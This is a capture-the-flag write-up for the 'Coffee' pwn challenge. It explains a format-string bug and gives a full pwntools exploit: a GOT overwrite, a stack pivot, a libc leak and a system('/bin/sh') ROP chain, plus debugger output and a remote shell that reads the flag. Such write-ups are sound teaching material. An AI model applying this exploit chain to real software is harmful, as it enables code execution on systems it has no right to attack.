Coffee

Description

Coffee is essential for pwning.

nc 34.146.101.4 30002

Attachment: coffee.tar.gz xpl.py

Team: Super Guesser

#include <stdio.h>

int x = 0xc0ffee;
int main(void) {
    char buf[160];
    scanf("%159s", buf);
    if (x == 0xc0ffee) {
        printf(buf);
        x = 0;
    }
    puts("bye");
}

This challenge has an obvious format string vulnerability in it. The only downside is, we can only use this once (since the global x variable is zeroed out, even if we could return to main, it wouldn’t execute printf anymore). So, let’s make it count :)

Since the binary doesn’t have PIE or Full RelRO, we can use printf to overwrite puts.got to something more useful.

Let’s just crash it to see, what state we’ll have, when puts will be called

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "34.146.101.4"
PORT = 30002
PROCESS = "./coffee"


def exploit(r):
    writes = {e.got["puts"]: 0x00adbeef}

    context.arch = "amd64"

    payload = fmtstr_payload(6, writes, write_size="short")
    payload += cyclic_metasploit(100)

    r.sendline(payload)

    r.interactive()

    return


if __name__ == "__main__":
    e = ELF("./coffee")
    libc = ELF("./libc.so.6")

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = process("./coffee", env={"LD_PRELOAD": "./libc.so.6"})
        print(util.proc.pidof(r))
        pause()

    exploit(r)
Program received signal SIGSEGV, Segmentation fault.
0x0000000000adbeef in ?? ()
──────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xbfb6            
$rbx   : 0x0000000000401230  →  <__libc_csu_init+0> endbr64 
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x00007fffffffec98  →  0x0000000000401206  →  <main+112> mov eax, 0x0
$rbp   : 0x00007fffffffed50  →  0x0000000000000000
$rsi   : 0x4018616261616161
$rdi   : 0x000000000040200a  →  0x1b01000000657962 ("bye"?)
$rip   : 0xadbeef          
$r8    : 0xffffffff        
$r9    : 0xbfb6            
$r10   : 0x00007fffffff2280  →  0x000000000000000a
$r11   : 0x6e              
$r12   : 0x00000000004010b0  →  <_start+0> endbr64 
$r13   : 0x00007fffffffee40  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────── stack ────
0x00007fffffffec98│+0x0000: 0x0000000000401206  →  <main+112> mov eax, 0x0	 ← $rsp
0x00007fffffffeca0│+0x0008: 0x2563393738383425
0x00007fffffffeca8│+0x0010: 0x31256e6c6c243031
0x00007fffffffecb0│+0x0018: 0x6824313125633039
0x00007fffffffecb8│+0x0020: 0x6162616161616e68
0x00007fffffffecc0│+0x0028: 0x0000000000404018  →  0x0000000000adbeef
[!] Cannot access memory at address 0xadbeef
────────────────────────────────────────────────────────────────────────
gef➤  x/30gx $rsp
0x7fffffffec98:	0x0000000000401206	0x2563393738383425  <= rsp
0x7fffffffeca8:	0x31256e6c6c243031	0x6824313125633039
0x7fffffffecb8:	0x6162616161616e68	0x0000000000404018
0x7fffffffecc8:	0x000000000040401a	0x6141316141306141  <= cyclic pattern
0x7fffffffecd8:	0x4134614133614132	0x3761413661413561
0x7fffffffece8:	0x6241396141386141	0x4132624131624130
0x7fffffffecf8:	0x3562413462413362	0x6241376241366241
0x7fffffffed08:	0x4130634139624138	0x3363413263413163
0x7fffffffed18:	0x6341356341346341	0x4138634137634136
0x7fffffffed28:	0x3164413064413963	0x0000000041326441

As we can see, the rest of our payload will be at rsp+0x38, so if we could pivot the stack there, we could add a simple rop chain to our format string payload.

And __libc_csu_init contains just a gadget, which will do exactly this

.text:0000000000401286                 add     rsp, 8
.text:000000000040128A                 pop     rbx
.text:000000000040128B                 pop     rbp
.text:000000000040128C                 pop     r12
.text:000000000040128E                 pop     r13
.text:0000000000401290                 pop     r14
.text:0000000000401292                 pop     r15
.text:0000000000401294                 retn

This will pop some values from the stack and will then end up exactly in the cyclic pattern we attached to the format string (we should just keep in mind, that the padding might change depending on how we create the format string payload).

So, writing 0x401286 to puts.got will result in

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401294 in __libc_csu_init ()
────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x1343            
$rbx   : 0x3925633234373425 ("%4742c%9"?)
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x00007fffffffecd0  →  "2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A[...]"
$rbp   : 0x363831256e6c6c24 ("$lln%186"?)
$rsi   : 0x4018            
$rdi   : 0x000000000040200a  →  0x1b01000000657962 ("bye"?)
$rip   : 0x0000000000401294  →  <__libc_csu_init+100> ret 
$r8    : 0xffffffff        
$r9    : 0x1343            
$r10   : 0x00007fffffffcef0  →  0x000000000000000a
$r11   : 0x6e              
$r12   : 0x6e68682430312563 ("c%10$hhn"?)
$r13   : 0x0000000000404018  →  0x0000000000401286  →  <__libc_csu_init+86> add rsp, 0x8
$r14   : 0x000000000040401a  →  0x1040000000000040 ("@"?)
$r15   : 0x6141316141306141 ("Aa0Aa1Aa"?)
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40128e <__libc_csu_init+94> pop    r13
     0x401290 <__libc_csu_init+96> pop    r14
     0x401292 <__libc_csu_init+98> pop    r15
 →   0x401294 <__libc_csu_init+100> ret    
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffecd0│+0x0000: "2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A[...]"	 ← $rsp
0x00007fffffffecd8│+0x0008: "a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1[...]"
0x00007fffffffece0│+0x0010: "Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac[...]"
0x00007fffffffece8│+0x0018: "0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6A[...]"
0x00007fffffffecf0│+0x0020: "b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9[...]"
0x00007fffffffecf8│+0x0028: "Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad[...]"
─────────────────────────────────────────────────────────────────────────────────────
gef➤  x/gx $rsp
0x7fffffffecd0:	0x4134614133614132

$ pattern_find 0x4134614133614132
8

So, rsp is now pointing at our cyclic pattern + 8. I opted for putting a ropchain there, leaking libc printf address and then reading another ropchain via scanf, where we can put our final ropchain.

payload = fmtstr_payload(6, writes, write_size="short")

POPRDI = 0x401293
POPRBP = 0x40117d
POPRSI15 = 0x401291
PUTSPLT = 0x401030
RET = 0x40101a
LEAVE = 0x000000000040121f

# padding
payload += p64(0xdeadbeef)            

# puts(printf.got)
payload += p64(POPRDI)                    
payload += p64(e.got["printf"])
payload += p64(PUTSPLT)

# scanf("%159s", 0x404880)
payload += p64(POPRDI)                    
payload += p64(0x403004)
payload += p64(POPRSI15)
payload += p64(0x404880)
payload += p64(0x0)    
payload += p64(e.plt["__isoc99_scanf"])

# stack pivot to 0x404880
payload += p64(POPRBP)
payload += p64(0x404880-8)
payload += p64(LEAVE)

r.sendline(payload)

# read printf
r.recvuntil(p32(0x40401800))
LEAK = r.recvline()

PRINTF = u64(LEAK[:-1].ljust(8, "\x00"))
libc.address = PRINTF - libc.symbols["printf"]

log.info("PRINTF     : %s" % hex(PRINTF))
log.info("LIBC       : %s" % hex(libc.address))
[*] '/media/sf_ctf/tsg/coffee/coffee'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './coffee': pid 21393
[21393]
[*] Paused (press any to continue)
[*] PRINTF     : 0x7ffff7e3be10
[*] LIBC       : 0x7ffff7dd7000
[*] Switching to interactive mode

Now that we have a libc address and the challenge waiting for us to input the next ropchain, we can just put a simple system("/bin/sh") ropchain there:

payload = p64(POPRDI)
payload += p64(next(libc.search("/bin/sh")))
payload += p64(libc.symbols["system"])

r.sendline(payload)

which will then be written to 0x404880 and then be executed via the stack pivot

[*] '/media/sf_ctf/tsg/coffee/coffee'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/media/sf_ctf/tsg/coffee/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.146.101.4 on port 30002: Done
[*] PRINTF     : 0x7fd8417bfe10
[*] LIBC       : 0x7fd84175b000
[*] Switching to interactive mode
$ ls
coffee
flag-dcf095f41e7bf00fa7e7cf7ef2ce9083
start.sh
$ cat flag-dcf095f41e7bf00fa7e7cf7ef2ce9083
TSGCTF{Uhouho_gori_gori_pwn}